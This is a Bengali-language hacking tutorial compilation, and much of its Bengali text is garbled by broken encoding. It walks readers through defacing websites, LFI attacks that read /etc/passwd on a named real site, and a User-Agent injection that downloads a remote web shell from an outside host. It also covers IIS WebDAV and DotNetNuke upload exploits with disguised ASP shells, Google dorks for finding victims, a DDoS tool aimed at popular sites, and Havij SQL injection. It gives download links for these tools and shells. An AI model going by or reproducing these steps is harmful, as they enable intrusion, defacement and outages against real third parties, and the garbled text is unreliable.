২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 20: Hacking Bangla eBook

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

